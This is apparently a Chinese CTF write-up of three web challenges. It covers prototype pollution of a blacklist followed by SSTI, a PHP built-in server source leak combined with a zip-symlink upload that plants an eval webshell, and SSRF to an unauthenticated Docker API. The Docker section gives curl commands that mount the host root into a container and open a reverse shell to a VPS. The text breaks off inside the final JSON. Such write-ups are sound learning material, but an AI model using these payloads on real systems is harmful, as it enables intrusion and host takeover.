web

ezpython

从这边可以看到是python的原型链污染

可以直接污染掉对黑名单

1	{"__globals__": {"param_black_list1": ["123"]}}

然后打ssti即可

得到flag

压压压

第一个点是<=7.4.21的php -S开启的服务它有⼀个信息泄露的漏洞

https://www.cnblogs.com/Kawakaze777/p/17799235.html

空格是必要的，读出源码，开始审计

<?php
error_reporting(0);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip') //判断MIME是否为application/zip
{
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); //进入tmp文件夹，然后解压缩，这样我们上传的一句话木马就不能执行了。
};
?>

so，我们需要绕过这个点就需要使用软连接，

然链接：可以让两不同个文件夹访问同一个文件

ln -s /var/www/html poc 创建一个软连接的文件
zip --symlinks 1.zip poc 对其进行压缩
mkdir link
cd link
echo "<?php eval($_POST[1]);?>" > shell.php
zip -r poc.zip link 创建一句话木马并且压缩。

快逃

有一个ssrf漏洞，尝试探一下端口

可以看到是8080 80 ，2375端口存活

还有22端口也存活

2375端口比较特殊， Dockerapi未授权默认端⼝

方法：

利⽤dockerapi未授权+curl发包去创建一个特权容器，并将靶机的根目录挂载到这个容器中，以此控制靶机的文件系统

1.创建bash镜像

1	curl -X POST "http://127.0.0.1:2375/images/create?fromImage=bash&tag=latest"

注意是post方法

2.创建容器，挂载靶机根目录，并且将容器反弹到你的vps上

curl -X POST "http://127.0.0.1:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
 "Image": "bash",  //利用刚才创造的镜像
 "Cmd": [
 "bash", "-c", 
"bash -i >& /dev/tcp/ip/2333 0>&1"
 ], //反弹shell
 "HostConfig": {
 "Binds": ["/:/tmp/docker"]  //将宿主机的根目录 / 挂载到容器的 /tmp/docker 目录。
 }
 }